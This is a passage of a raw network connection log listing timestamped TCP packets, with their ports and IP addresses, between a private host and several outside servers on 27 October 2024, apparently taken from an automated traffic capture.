Oct 27, 2024 17:54:22.097372055 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.097402096 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.097408056 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.097423077 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.097426891 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.100016117 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.100050926 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.100414991 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.100544930 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.100558043 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.105935097 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.106422901 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.106462002 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.106882095 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.106898069 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.110902071 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.111007929 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.111080885 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.111208916 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.111224890 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.111239910 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.111244917 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.113329887 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.113487005 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.113565922 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.113632917 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.113632917 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.113641024 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.113650084 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.114237070 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.114260912 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.114530087 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.114723921 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.114733934 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.116991043 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.117027044 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.117162943 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.117284060 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.117311954 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.204699993 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:22.204807997 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:22.206907988 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:22.206913948 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:22.207452059 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:22.236429930 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.236495972 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.236542940 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.243771076 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.243798971 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.243813038 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.243818998 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.257035971 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.257066965 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.257306099 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.257811069 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:22.286750078 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.290167093 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.290177107 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.299511909 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.299537897 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.302423000 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.302495956 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.305682898 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.305885077 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.307351112 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.307365894 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.351612091 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.410861015 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:22.410880089 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:22.410979033 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:22.411278009 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:22.411290884 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:22.512578011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:22.512902975 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:22.517890930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:22.518208981 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:22.518274069 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:22.518471003 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:22.523765087 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:22.563386917 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563448906 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563493013 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563498974 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.563508987 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563574076 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563606024 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563611984 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.563620090 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.563635111 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.572493076 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.572542906 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.572554111 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.617176056 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.617194891 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.679426908 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.680195093 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.680265903 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.680331945 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.680339098 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.687877893 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.687959909 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:22.689346075 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:22.689366102 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.689708948 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.690777063 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:22.693491936 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.693542957 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.693550110 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.698265076 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.698318958 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.698324919 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.708072901 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.708148003 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.708153963 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.731375933 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.757560968 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.757571936 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.798340082 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.798455954 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.798465014 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.810606003 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.810703993 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.810710907 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.810733080 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.810801983 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.815431118 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.819552898 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.820128918 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.820144892 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.820635080 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.820638895 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.824727058 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.824798107 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.824810982 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.829984903 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.830524921 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.830548048 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.830977917 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.830984116 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.852816105 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.853374004 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.853399992 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.853910923 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.853916883 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.867029905 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.867042065 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.867455959 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.867903948 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.867921114 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.868370056 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.868374109 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.875710011 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.875780106 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.875785112 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.914602041 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.914761066 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.914839029 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.914859056 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.914947987 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.916650057 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.928530931 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.928646088 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.928664923 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.935122013 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.935203075 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.935307980 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:22.936419964 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:22.936440945 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.936474085 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:22.936481953 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:22.941936016 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.941984892 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.942092896 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.942102909 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.942181110 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.945322990 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:22.951148033 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.951288939 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.951389074 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.959028006 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.959201097 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.959261894 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.959944010 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.959959984 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.959974051 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.959980011 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.964195013 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.964206934 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.964230061 CET	49751	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.964236021 CET	443	49751	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.972424030 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.972481966 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.972554922 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.973383904 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.973417044 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.974180937 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.974241018 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.974304914 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.974442959 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.974458933 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.979121923 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:22.982055902 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.982213974 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.982429028 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.982584953 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.982584953 CET	49753	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.982603073 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.982614994 CET	443	49753	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.985440969 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.985466003 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.985547066 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.985764027 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.985778093 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.991920948 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:22.992690086 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.003690004 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.003894091 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.003964901 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.004033089 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.004033089 CET	49752	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.004045010 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.004054070 CET	443	49752	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.006747961 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.006778002 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.007069111 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.007246017 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.007258892 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.016886950 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.017344952 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.017352104 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.017805099 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.017810106 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.023350000 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.031548977 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.031610966 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.031730890 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.031743050 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.031796932 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.045504093 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.058942080 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.058984041 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.059017897 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.059024096 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.059040070 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.059070110 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.101314068 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.101330042 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.109756947 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.109810114 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.111176968 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.111188889 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.111337900 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.146383047 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.146452904 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.146656990 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.146708965 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.146708965 CET	49754	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.146737099 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.146755934 CET	443	49754	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.148762941 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.150170088 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.150212049 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.150377989 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.150440931 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.150448084 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.162925005 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.162971973 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.162986994 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.163008928 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.163448095 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.163456917 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.175947905 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.176006079 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.176050901 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.176062107 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.176081896 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.176115036 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.225708008 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.225729942 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.226845026 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.226934910 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.226943016 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.232846975 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.232877016 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.232883930 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.232892990 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.232960939 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.232973099 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:23.232988119 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.233040094 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:23.233129978 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.233186007 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:23.233191967 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.233833075 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.233923912 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:23.254292965 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.254642963 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.254667044 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.255033970 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.255120039 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.255743980 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.255804062 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.256985903 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.257052898 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.257225990 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.257236004 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.257252932 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.265850067 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.266051054 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.266067028 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.279707909 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.279819965 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.279829979 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.293081045 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.293170929 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.293276072 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.293387890 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.293399096 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.293426991 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.293493032 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.293507099 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.299370050 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.303653002 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.343791008 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.343858957 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.343877077 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.382962942 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.383059978 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.383111954 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.383131027 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.383174896 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.400557041 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.418926001 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419013977 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.419023037 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419118881 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419193029 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.419205904 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419337034 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419464111 CET	49747	443	192.168.2.5	142.250.181.238
